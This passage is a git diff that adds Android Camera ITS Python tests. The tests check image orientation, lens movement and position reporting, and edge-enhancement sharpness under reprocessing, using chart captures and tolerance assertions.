+  patch = 255 * cv2_image_processing_utils.gray_scale_img(patch)
+  patch = cv2_image_processing_utils.scale_img(
+      patch.astype(np.uint8), chart.scale)
+
+  # check image has content
+  assert np.max(patch)-np.min(patch) > 255/8
+
+  # save full images if in debug
+  if debug:
+    image_processing_utils.write_image(
+        template[:, :, np.newaxis] / 255.0,
+        '%s_template.jpg' % os.path.join(log_path, NAME))
+
+  # save patch
+  image_processing_utils.write_image(
+      patch[:, :, np.newaxis] / 255.0,
+      '%s_scene_patch.jpg' % os.path.join(log_path, NAME))
+
+  # crop center areas and strip off any extra rows/columns
+  template = image_processing_utils.get_image_patch(
+      template, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+  patch = image_processing_utils.get_image_patch(
+      patch, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+  patch = patch[0:min(patch.shape[0], template.shape[0]),
+                0:min(patch.shape[1], template.shape[1])]
+  comp_chart = patch
+
+  # determine optimum orientation
+  opts = []
+  for orientation in CHART_ORIENTATIONS:
+    if orientation == 'flip':
+      comp_chart = np.flipud(patch)
+    elif orientation == 'mirror':
+      comp_chart = np.fliplr(patch)
+    elif orientation == 'rotate':
+      comp_chart = np.flipud(np.fliplr(patch))
+    correlation = cv2.matchTemplate(comp_chart, template, cv2.TM_CCOEFF)
+    _, opt_val, _, _ = cv2.minMaxLoc(correlation)
+    if debug:
+      cv2.imwrite('%s_%s.jpg' % (os.path.join(log_path, NAME), orientation),
+                  comp_chart)
+    logging.debug('%s correlation value: %d', orientation, opt_val)
+    opts.append(opt_val)
+
+  # determine if 'nominal' or 'rotated' is best orientation
+  assert_flag = (opts[0] == max(opts) or opts[3] == max(opts))
+  assert assert_flag, ('Optimum orientation is %s' %
+                       CHART_ORIENTATIONS[np.argmax(opts)])
+  # print warning if rotated
+  if opts[3] == max(opts):
+    logging.warning('Image is rotated 180 degrees. Try "rotate" flag.')
+
+
+class FlipMirrorTest(its_base_test.ItsBaseTest):
+  """Test to verify if the image is flipped or mirrored.
+  """
+
+  def test_flip_mirror(self):
+    """Test if image is properly oriented."""
+
+    logging.debug('Starting %s', NAME)
+
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      debug = self.debug_mode
+      chart_loc_arg = self.chart_loc_arg
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Check skip conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.read_3a(props))
+
+      # initialize chart class and locate chart in scene
+      chart = cv2_image_processing_utils.Chart(
+          cam, props, self.log_path, chart_loc=chart_loc_arg)
+      fmt = {'format': 'yuv', 'width': VGA_W, 'height': VGA_H}
+
+      # test that image is not flipped, mirrored, or rotated
+      test_flip_mirror_impl(cam, props, fmt, chart, debug, self.log_path)
+
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene3/test_lens_movement_reporting.py b/apps/CameraITS2.0/tests/scene3/test_lens_movement_reporting.py
new file mode 100644
index 0000000..e67000f
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene3/test_lens_movement_reporting.py
@@ -0,0 +1,204 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import cv2_image_processing_utils
+import image_processing_utils
+import its_session_utils
+
+
+FRAME_ATOL_MS = 10
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_FRAMES_PER_FD = 12
+POSITION_RTOL = 0.10  # 10%
+SHARPNESS_RTOL = 0.10  # 10%
+VGA_WIDTH, VGA_HEIGHT = 640, 480
+
+
+def take_caps_and_determine_sharpness(
+    cam, props, fmt, gain, exp, af_fd, chart, log_path):
+  """Return fd, sharpness, lens state of the output images.
+
+  Args:
+    cam: An open device session.
+    props: Properties of cam
+    fmt: dict; capture format
+    gain: Sensitivity for the request as defined in android.sensor.sensitivity
+    exp: Exposure time for the request as defined in
+         android.sensor.exposureTime
+    af_fd: Focus distance for the request as defined in
+           android.lens.focusDistance
+    chart: Object that contains chart information
+    log_path: log_path to save the captured image
+
+  Returns:
+    Object containing reported sharpness of the output image, keyed by
+    the following string:
+        'sharpness'
+  """
+
+  # initialize variables and take data sets
+  data_set = {}
+  white_level = int(props['android.sensor.info.whiteLevel'])
+  min_fd = props['android.lens.info.minimumFocusDistance']
+  fds = [af_fd, min_fd]
+  fds = sorted(fds * NUM_FRAMES_PER_FD)
+  reqs = []
+  for i, fd in enumerate(fds):
+    reqs.append(capture_request_utils.manual_capture_request(gain, exp))
+    reqs[i]['android.lens.focusDistance'] = fd
+  caps = cam.do_capture(reqs, fmt)
+  for i, cap in enumerate(caps):
+    data = {'fd': fds[i]}
+    data['loc'] = cap['metadata']['android.lens.focusDistance']
+    data['lens_moving'] = (cap['metadata']['android.lens.state']
+                           == 1)
+    timestamp = cap['metadata']['android.sensor.timestamp'] * 1E-6
+    if i == 0:
+      timestamp_init = timestamp
+    timestamp -= timestamp_init
+    data['timestamp'] = timestamp
+    y, _, _ = image_processing_utils.convert_capture_to_planes(cap, props)
+    chart.img = image_processing_utils.normalize_img(
+        image_processing_utils.get_image_patch(
+            y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+    img_name = '%s_i=%d.jpg' % (os.path.join(log_path, NAME), i)
+    image_processing_utils.write_image(chart.img, img_name)
+    data['sharpness'] = (
+        white_level * image_processing_utils.compute_image_sharpness(chart.img))
+    data_set[i] = data
+  return data_set
+
+
+class LensMovementReportingTest(its_base_test.ItsBaseTest):
+  """Test if focus distance is properly reported.
+
+  Do unit step of focus distance and check sharpness correlates.
+  """
+
+  def test_lens_movement_reporting(self):
+    logging.debug('Starting %s', NAME)
+
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      chart_loc_arg = self.chart_loc_arg
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+
+      # Check skip conditions
+      camera_properties_utils.skip_unless(
+          not camera_properties_utils.fixed_focus(props) and
+          camera_properties_utils.read_3a(props) and
+          camera_properties_utils.lens_approx_calibrated(props))
+
+      # Calculate camera_fov and load scaled image on tablet.
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Initialize chart class and locate chart in scene
+      chart = cv2_image_processing_utils.Chart(
+          cam, props, self.log_path, chart_loc=chart_loc_arg)
+
+      # Get proper sensitivity, exposure time, and focus distance with 3A.
+      mono_camera = camera_properties_utils.mono_camera(props)
+      s, e, _, _, fd = cam.do_3a(get_results=True, mono_camera=mono_camera)
+
+      # Get sharpness for each focal distance
+      fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
+      d = take_caps_and_determine_sharpness(
+          cam, props, fmt, s, e, fd, chart, self.log_path)
+      for k in sorted(d):
+        logging.debug(
+            'i: %d\tfd: %.3f\tlens location (diopters): %.3f \t'
+            'sharpness: %.1f  \tlens_moving: %r \t'
+            'timestamp: %.1fms', k, d[k]['fd'], d[k]['loc'], d[k]['sharpness'],
+            d[k]['lens_moving'], d[k]['timestamp'])
+
+      # Assert frames are consecutive
+      frame_diffs = np.gradient([v['timestamp'] for v in d.values()])
+      delta_diffs = np.amax(frame_diffs) - np.amin(frame_diffs)
+      e_msg = 'Timestamp gradient(ms): %.1f, ATOL: %.f' % (
+          delta_diffs, FRAME_ATOL_MS)
+      assert np.isclose(delta_diffs, 0, atol=FRAME_ATOL_MS), e_msg
+
+      # Remove data when lens is moving
+      for k in sorted(d):
+        if d[k]['lens_moving']:
+          del d[k]
+
+      # Split data into min_fd and af data for processing
+      d_min_fd = {}
+      d_af_fd = {}
+      for k in sorted(d):
+        if d[k]['fd'] == props['android.lens.info.minimumFocusDistance']:
+          d_min_fd[k] = d[k]
+        if d[k]['fd'] == fd:
+          d_af_fd[k] = d[k]
+
+      logging.debug('Assert reported locs are close for af_fd captures')
+      min_loc = min([v['loc'] for v in d_af_fd.values()])
+      max_loc = max([v['loc'] for v in d_af_fd.values()])
+      e_msg = 'af_fd[loc] min: %.3f, max: %.3f, RTOL: %.2f' % (
+          min_loc, max_loc, POSITION_RTOL)
+      assert np.isclose(min_loc, max_loc, rtol=POSITION_RTOL), e_msg
+
+      logging.debug('Assert reported sharpness is close at af_fd')
+      min_sharp = min([v['sharpness'] for v in d_af_fd.values()])
+      max_sharp = max([v['sharpness'] for v in d_af_fd.values()])
+      e_msg = 'af_fd[sharpness] min: %.3f, max: %.3f, RTOL: %.2f' % (
+          min_sharp, max_sharp, SHARPNESS_RTOL)
+      assert np.isclose(min_sharp, max_sharp, rtol=SHARPNESS_RTOL), e_msg
+
+      logging.debug('Assert reported loc is close to assign loc for af_fd')
+      first_key = min(d_af_fd.keys())  # find 1st non-moving frame
+      loc = d_af_fd[first_key]['loc']
+      fd = d_af_fd[first_key]['fd']
+      e_msg = 'af_fd[loc]: %.3f, af_fd[fd]: %.3f, RTOL: %.2f' % (
+          loc, fd, POSITION_RTOL)
+      assert np.isclose(loc, fd, rtol=POSITION_RTOL), e_msg
+
+      logging.debug('Assert reported locs are close for min_fd captures')
+      min_loc = min([v['loc'] for v in d_min_fd.values()])
+      max_loc = max([v['loc'] for v in d_min_fd.values()])
+      e_msg = 'min_fd[loc] min: %.3f, max: %.3f, RTOL: %.2f' % (
+          min_loc, max_loc, POSITION_RTOL)
+      assert np.isclose(min_loc, max_loc, rtol=POSITION_RTOL), e_msg
+
+      logging.debug('Assert reported sharpness is close at min_fd')
+      min_sharp = min([v['sharpness'] for v in d_min_fd.values()])
+      max_sharp = max([v['sharpness'] for v in d_min_fd.values()])
+      e_msg = 'min_fd[sharpness] min: %.3f, max: %.3f, RTOL: %.2f' % (
+          min_sharp, max_sharp, SHARPNESS_RTOL)
+      assert np.isclose(min_sharp, max_sharp, rtol=SHARPNESS_RTOL), e_msg
+
+      logging.debug('Assert reported loc is close to assigned loc for min_fd')
+      last_key = 2 * NUM_FRAMES_PER_FD - 1
+      loc = d_min_fd[last_key]['loc']
+      fd = d_min_fd[last_key]['fd']
+      e_msg = 'min_fd[loc]: %.3f, min_fd[fd]: %.3f, RTOL: %.2f' % (
+          loc, fd, POSITION_RTOL)
+      assert np.isclose(loc, fd, rtol=POSITION_RTOL), e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene3/test_lens_position.py b/apps/CameraITS2.0/tests/scene3/test_lens_position.py
new file mode 100644
index 0000000..1901d34
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene3/test_lens_position.py
@@ -0,0 +1,231 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import cv2_image_processing_utils
+import error_util
+import image_processing_utils
+import its_session_utils
+
+FRAME_ATOL_MS = 10  # ms
+LENS_MOVING_STATE = 1
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NSEC_TO_MSEC = 1.0E-6
+NUM_TRYS = 2
+NUM_STEPS = 6
+POSITION_RTOL = 0.1
+SHARPNESS_RTOL = 0.1
+VGA_W, VGA_H = 640, 480
+
+
+def assert_static_frames_behavior(d_stat):
+  """Assert locations/sharpness are correct in static frames."""
+  logging.debug('Asserting static lens locations/sharpness are similar')
+  for i in range(len(d_stat) // 2):
+    j = 2 * NUM_STEPS - 1 - i
+    rw_msg = 'fd_write: %.3f, fd_read: %.3f, RTOL: %.2f' % (
+        d_stat[i]['fd'], d_stat[i]['loc'], POSITION_RTOL)
+    fr_msg = 'loc_fwd[%d]: %.3f, loc_rev[%d]: %.3f, RTOL: %.2f' % (
+        i, d_stat[i]['loc'], j, d_stat[j]['loc'], POSITION_RTOL)
+    s_msg = 'sharpness_fwd: %.3f, sharpness_rev: %.3f, RTOL: %.2f' % (
+        d_stat[i]['sharpness'], d_stat[j]['sharpness'], SHARPNESS_RTOL)
+    assert np.isclose(d_stat[i]['loc'], d_stat[i]['fd'],
+                      rtol=POSITION_RTOL), rw_msg
+    assert np.isclose(d_stat[i]['loc'], d_stat[j]['loc'],
+                      rtol=POSITION_RTOL), fr_msg
+    assert np.isclose(d_stat[i]['sharpness'], d_stat[j]['sharpness'],
+                      rtol=SHARPNESS_RTOL), s_msg
+
+
+def assert_moving_frames_behavior(d_move, d_stat):
+  """Assert locations/sharpness are correct for consecutive moving frames."""
+  logging.debug('Asserting moving frames are consecutive')
+  times = [v['timestamp'] for v in d_move.values()]
+  diffs = np.gradient(times)
+  assert np.isclose(np.amin(diffs), np.amax(diffs),
+                    atol=FRAME_ATOL_MS), 'ATOL(ms): %.1f' % FRAME_ATOL_MS
+
+  logging.debug('Asserting moving lens locations/sharpness are similar')
+  for i in range(len(d_move)):
+    e_msg = 'static: %.3f, moving: %.3f, RTOL: %.2f' % (
+        d_stat[i]['loc'], d_move[i]['loc'], POSITION_RTOL)
+    assert np.isclose(d_stat[i]['loc'], d_move[i]['loc'],
+                      rtol=POSITION_RTOL), e_msg
+    if d_move[i]['lens_moving'] and i > 0:
+      e_msg = '%d sharpness[stat]: %.2f ' % (i-1, d_stat[i-1]['sharpness'])
+      e_msg += '%d sharpness[stat]: %.2f, [move]: %.2f, RTOL: %.1f' % (
+          i, d_stat[i]['sharpness'], d_move[i]['sharpness'], SHARPNESS_RTOL)
+      if d_stat[i]['sharpness'] > d_stat[i-1]['sharpness']:
+        assert (d_stat[i]['sharpness'] * (1.0 + SHARPNESS_RTOL) >
+                d_move[i]['sharpness'] > d_stat[i-1]['sharpness'] *
+                (1.0 - SHARPNESS_RTOL)), e_msg
+      else:
+        assert (d_stat[i-1]['sharpness'] * (1.0 + SHARPNESS_RTOL) >
+                d_move[i]['sharpness'] > d_stat[i]['sharpness'] *
+                (1.0 - SHARPNESS_RTOL)), e_msg
+    elif not d_move[i]['lens_moving']:
+      e_msg = '%d sharpness[stat]: %.2f, [move]: %.2f, RTOL: %.1f' % (
+          i, d_stat[i]['sharpness'], d_move[i]['sharpness'], SHARPNESS_RTOL)
+      assert np.isclose(d_stat[i]['sharpness'], d_move[i]['sharpness'],
+                        rtol=SHARPNESS_RTOL), e_msg
+    else:
+      raise error_util.Error('Lens is moving at frame 0!')
+
+
+def take_caps_and_return_data(cam, props, fmt, sens, exp, chart, log_path):
+  """Return fd, sharpness, lens state of the output images.
+
+  Args:
+    cam: An open device session
+    props: Properties of cam
+    fmt: Dict for capture format
+    sens: Sensitivity for 3A request as defined in android.sensor.sensitivity
+    exp: Exposure time for 3A request as defined in android.sensor.exposureTime
+    chart: Object with chart properties
+    log_path: Location to save images
+
+  Returns:
+    Dictionary of results for different focal distance captures with static
+    lens positions and moving lens positions: d_static, d_moving
+  """
+
+  # initialize variables and take data sets
+  data_static = {}
+  data_moving = {}
+  white_level = int(props['android.sensor.info.whiteLevel'])
+  min_fd = props['android.lens.info.minimumFocusDistance']
+  hyperfocal = props['android.lens.info.hyperfocalDistance']
+  # create forward + back list of focal distances
+  fds_f = np.arange(hyperfocal, min_fd, (min_fd-hyperfocal)/(NUM_STEPS-1))
+  fds_f = np.append(fds_f, min_fd)
+  fds_fb = list(fds_f) + list(reversed(fds_f))
+
+  # take static data set
+  for i, fd in enumerate(fds_fb):
+    req = capture_request_utils.manual_capture_request(sens, exp)
+    req['android.lens.focusDistance'] = fd
+    cap = image_processing_utils.stationary_lens_cap(cam, req, fmt)
+    data = {'fd': fds_fb[i]}
+    data['loc'] = cap['metadata']['android.lens.focusDistance']
+    y, _, _ = image_processing_utils.convert_capture_to_planes(cap, props)
+    chart.img = image_processing_utils.normalize_img(
+        image_processing_utils.get_image_patch(y, chart.xnorm, chart.ynorm,
+                                               chart.wnorm, chart.hnorm))
+    image_processing_utils.write_image(chart.img, '%s_stat_i=%d_chart.jpg' % (
+        os.path.join(log_path, NAME), i))
+    data['sharpness'] = white_level*image_processing_utils.compute_image_sharpness(
+        chart.img)
+    data_static[i] = data
+
+  # take moving data set
+  reqs = []
+  for i, fd in enumerate(fds_f):
+    reqs.append(capture_request_utils.manual_capture_request(sens, exp))
+    reqs[i]['android.lens.focusDistance'] = fd
+  caps = cam.do_capture(reqs, fmt)
+  for i, cap in enumerate(caps):
+    data = {'fd': fds_f[i]}
+    data['loc'] = cap['metadata']['android.lens.focusDistance']
+    data['lens_moving'] = (
+        cap['metadata']['android.lens.state'] == LENS_MOVING_STATE)
+    timestamp = cap['metadata']['android.sensor.timestamp'] * NSEC_TO_MSEC
+    if i == 0:
+      timestamp_init = timestamp
+    timestamp -= timestamp_init
+    data['timestamp'] = timestamp
+    y, _, _ = image_processing_utils.convert_capture_to_planes(cap, props)
+    y = image_processing_utils.rotate_img_per_argv(y)
+    chart.img = image_processing_utils.normalize_img(
+        image_processing_utils.get_image_patch(
+            y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+    image_processing_utils.write_image(chart.img, '%s_move_i=%d_chart.jpg' % (
+        os.path.join(log_path, NAME), i))
+    data['sharpness'] = (
+        white_level * image_processing_utils.compute_image_sharpness(chart.img))
+    data_moving[i] = data
+  return data_static, data_moving
+
+
+class LensPositionReportingTest(its_base_test.ItsBaseTest):
+  """Test if focus position is properly reported for moving lenses."""
+
+  def test_lens_position_reporting(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      chart_loc_arg = self.chart_loc_arg
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # Check skip conditions
+      camera_properties_utils.skip_unless(
+          not camera_properties_utils.fixed_focus(props) and
+          camera_properties_utils.read_3a(props) and
+          camera_properties_utils.lens_calibrated(props))
+
+      # Calculate camera_fov and load scaled image on tablet.
+      its_session_utils.load_scene(cam, props, self.scene, self.tablet,
+                                   self.chart_distance)
+
+      # Initialize chart class and locate chart in scene
+      chart = cv2_image_processing_utils.Chart(
+          cam, props, self.log_path, chart_loc=chart_loc_arg)
+
+      # Initialize capture format
+      fmt = {'format': 'yuv', 'width': VGA_W, 'height': VGA_H}
+
+      # Get proper sensitivity and exposure time with 3A
+      mono_camera = camera_properties_utils.mono_camera(props)
+      s, e, _, _, _ = cam.do_3a(get_results=True, mono_camera=mono_camera)
+
+      # Take caps and get sharpness for each focal distance
+      d_stat, d_move = take_caps_and_return_data(
+          cam, props, fmt, s, e, chart, log_path)
+
+      # Summarize info for log file and easier debug
+      logging.debug('Lens stationary')
+      for k in sorted(d_stat):
+        logging.debug(
+            'i: %d\tfd: %.3f\tlens location (diopters): %.3f \t'
+            'sharpness: %.1f', k, d_stat[k]['fd'], d_stat[k]['loc'],
+            d_stat[k]['sharpness'])
+      logging.debug('Lens moving')
+      for k in sorted(d_move):
+        logging.debug(
+            'i: %d\tfd: %.3f\tlens location (diopters): %.3f \t'
+            'sharpness: %.1f  \tlens_moving: %r \t'
+            'timestamp: %.1fms', k, d_move[k]['fd'], d_move[k]['loc'],
+            d_move[k]['sharpness'], d_move[k]['lens_moving'],
+            d_move[k]['timestamp'])
+
+      # assert reported location/sharpness is correct in static frames
+      assert_static_frames_behavior(d_stat)
+
+      # assert reported location/sharpness is correct in moving frames
+      assert_moving_frames_behavior(d_move, d_stat)
+
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene3/test_reprocess_edge_enhancement.py b/apps/CameraITS2.0/tests/scene3/test_reprocess_edge_enhancement.py
new file mode 100644
index 0000000..e616ab2
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene3/test_reprocess_edge_enhancement.py
@@ -0,0 +1,259 @@
+# Copyright 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import cv2_image_processing_utils
+import image_processing_utils
+import its_session_utils
+
+EDGE_MODES = {'OFF': 0, 'FAST': 1, 'HQ': 2, 'ZSL': 3}
+EDGE_MODES_VALUES = list(EDGE_MODES.values())
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_SAMPLES = 4
+PLOT_COLORS = {'yuv': 'r', 'private': 'g', 'none': 'b'}
+SHARPNESS_RTOL = 0.15
+
+
+def check_edge_modes(sharpness):
+  """Check that the sharpness for the different edge modes is correct."""
+  logging.debug(' Verify HQ is sharper than OFF')
+  if sharpness[EDGE_MODES['HQ']] < sharpness[EDGE_MODES['OFF']]:
+    raise AssertionError(f"HQ: {sharpness[EDGE_MODES['HQ']]:.5f}, "
+                         f"OFF: {sharpness[EDGE_MODES['OFF']]:.5f}")
+
+  logging.debug('Verify ZSL is similar to OFF')
+  e_msg = 'ZSL: %.5f, OFF: %.5f, RTOL: %.2f' % (
+      sharpness[EDGE_MODES['ZSL']], sharpness[EDGE_MODES['OFF']],
+      SHARPNESS_RTOL)
+  assert np.isclose(sharpness[EDGE_MODES['ZSL']], sharpness[EDGE_MODES['OFF']],
+                    SHARPNESS_RTOL), e_msg
+
+  logging.debug('Verify OFF is not sharper than FAST')
+  e_msg = 'FAST: %.5f, OFF: %.5f, RTOL: %.2f' % (
+      sharpness[EDGE_MODES['FAST']], sharpness[EDGE_MODES['OFF']],
+      SHARPNESS_RTOL)
+  assert (sharpness[EDGE_MODES['FAST']] >
+          sharpness[EDGE_MODES['OFF']] * (1.0-SHARPNESS_RTOL)), e_msg
+
+  logging.debug('Verify FAST is not sharper than HQ')
+  e_msg = 'FAST: %.5f, HQ: %.5f, RTOL: %.2f' % (
+      sharpness[EDGE_MODES['FAST']], sharpness[EDGE_MODES['HQ']],
+      SHARPNESS_RTOL)
+  assert (sharpness[EDGE_MODES['HQ']] >
+          sharpness[EDGE_MODES['FAST']] * (1.0-SHARPNESS_RTOL)), e_msg
+
+
+def do_capture_and_determine_sharpness(
+    cam, edge_mode, sensitivity, exp, fd, out_surface, chart, log_path,
+    reprocess_format=None):
+  """Return sharpness of the output images and the capture result metadata.
+
+   Processes a capture request with a given edge mode, sensitivity, exposure
+   time, focus distance, output surface parameter, and reprocess format
+   (None for a regular request.)
+
+  Args:
+    cam: An open device session.
+    edge_mode: Edge mode for the request as defined in android.edge.mode
+    sensitivity: Sensitivity for the request as defined in
+                 android.sensor.sensitivity
+    exp: Exposure time for the request as defined in
+        android.sensor.exposureTime.
+    fd: Focus distance for the request as defined in
+        android.lens.focusDistance
+    out_surface: Specifications of the output image format and size.
+    chart: object containing chart information
+    log_path: location to save files
+    reprocess_format: (Optional) The reprocessing format. If not None,
+                      reprocessing will be enabled.
+
+  Returns:
+    Object containing reported edge mode and the sharpness of the output
+    image, keyed by the following strings:
+        'edge_mode'
+        'sharpness'
+  """
+
+  req = capture_request_utils.manual_capture_request(sensitivity, exp)
+  req['android.lens.focusDistance'] = fd
+  req['android.edge.mode'] = edge_mode
+  if reprocess_format:
+    req['android.reprocess.effectiveExposureFactor'] = 1.0
+
+  sharpness_list = []
+  caps = cam.do_capture([req]*NUM_SAMPLES, [out_surface], reprocess_format)
+  for n in range(NUM_SAMPLES):
+    y, _, _ = image_processing_utils.convert_capture_to_planes(caps[n])
+    chart.img = image_processing_utils.normalize_img(
+        image_processing_utils.get_image_patch(
+            y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+    if n == 0:
+      image_processing_utils.write_image(
+          chart.img, '%s_reprocess_fmt_%s_edge=%d.jpg' % (
+              os.path.join(log_path, NAME), reprocess_format, edge_mode))
+      edge_mode_res = caps[n]['metadata']['android.edge.mode']
+    sharpness_list.append(
+        image_processing_utils.compute_image_sharpness(chart.img))
+
+  return {'edge_mode': edge_mode_res, 'sharpness': np.mean(sharpness_list)}
+
+
+class ReprocessEdgeEnhancementTest(its_base_test.ItsBaseTest):
+  """Test android.edge.mode param applied when set for reprocessing requests.
+
+  Capture non-reprocess images for each edge mode and calculate their
+  sharpness as a baseline.
+
+  Capture reprocessed images for each supported reprocess format and edge_mode
+  mode. Calculate the sharpness of reprocessed images and compare them against
+  the sharpess of non-reprocess images.
+  """
+
+  def test_reprocess_edge_enhancement(self):
+    logging.debug('Starting %s', NAME)
+    logging.debug('Edge modes: %s', str(EDGE_MODES))
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      chart_loc_arg = self.chart_loc_arg
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # Check skip conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.read_3a(props) and
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.edge_mode(props, 0) and
+          (camera_properties_utils.yuv_reprocess(props) or
+           camera_properties_utils.private_reprocess(props)))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Initialize chart class and locate chart in scene
+      chart = cv2_image_processing_utils.Chart(
+          cam, props, self.log_path, chart_loc=chart_loc_arg)
+
+      # If reprocessing is supported, ZSL edge mode must be avaiable.
+      assert camera_properties_utils.edge_mode(
+          props, EDGE_MODES['ZSL']), 'ZSL android.edge.mode not available!'
+
+      reprocess_formats = []
+      if camera_properties_utils.yuv_reprocess(props):
+        reprocess_formats.append('yuv')
+      if camera_properties_utils.private_reprocess(props):
+        reprocess_formats.append('private')
+
+      size = capture_request_utils.get_available_output_sizes('jpg', props)[0]
+      out_surface = {'width': size[0], 'height': size[1], 'format': 'jpg'}
+
+      # Get proper sensitivity, exposure time, and focus distance.
+      mono_camera = camera_properties_utils.mono_camera(props)
+      s, e, _, _, fd = cam.do_3a(get_results=True, mono_camera=mono_camera)
+
+      # Initialize plot
+      pylab.figure('reprocess_result')
+      pylab.title(NAME)
+      pylab.xlabel('Edge Enhance Mode')
+      pylab.ylabel('Sharpness')
+      pylab.xticks(EDGE_MODES_VALUES)
+
+      # Get the sharpness for each edge mode for regular requests
+      sharpness_regular = []
+      edge_mode_reported_regular = []
+      for edge_mode in EDGE_MODES.values():
+        # Skip unavailable modes
+        if not camera_properties_utils.edge_mode(props, edge_mode):
+          edge_mode_reported_regular.append(edge_mode)
+          sharpness_regular.append(0)
+          continue
+        ret = do_capture_and_determine_sharpness(
+            cam, edge_mode, s, e, fd, out_surface, chart, log_path)
+        edge_mode_reported_regular.append(ret['edge_mode'])
+        sharpness_regular.append(ret['sharpness'])
+
+      pylab.plot(EDGE_MODES_VALUES, sharpness_regular,
+                 '-'+PLOT_COLORS['none']+'o', label='None')
+      logging.debug('Sharpness for edge modes with regular request: %s',
+                    str(sharpness_regular))
+
+      # Get sharpness for each edge mode and reprocess format
+      sharpnesses_reprocess = []
+      edge_mode_reported_reprocess = []
+
+      for reprocess_format in reprocess_formats:
+        # List of sharpness
+        sharpnesses = []
+        edge_mode_reported = []
+        for edge_mode in range(4):
+          # Skip unavailable modes
+          if not camera_properties_utils.edge_mode(props, edge_mode):
+            edge_mode_reported.append(edge_mode)
+            sharpnesses.append(0)
+            continue
+
+          ret = do_capture_and_determine_sharpness(
+              cam, edge_mode, s, e, fd, out_surface, chart, log_path,
+              reprocess_format)
+          edge_mode_reported.append(ret['edge_mode'])
+          sharpnesses.append(ret['sharpness'])
+
+        sharpnesses_reprocess.append(sharpnesses)
+        edge_mode_reported_reprocess.append(edge_mode_reported)
+
+        # Add to plot and log results
+        pylab.plot(EDGE_MODES_VALUES, sharpnesses,
+                   '-'+PLOT_COLORS[reprocess_format]+'o',
+                   label=reprocess_format)
+        logging.debug('Sharpness for edge modes w/ %s reprocess fmt: %s',
+                      reprocess_format, str(sharpnesses))
+      # Finalize plot
+      pylab.legend(numpoints=1, fancybox=True)
+      matplotlib.pyplot.savefig('%s_plot.png' %
+                                os.path.join(log_path, NAME))
+      logging.debug('Check regular requests')
+      check_edge_modes(sharpness_regular)
+
+      for reprocess_format in range(len(reprocess_formats)):
+        logging.debug('Check reprocess format: %s', reprocess_format)
+        check_edge_modes(sharpnesses_reprocess[reprocess_format])
+
+        hq_div_off_reprocess = (
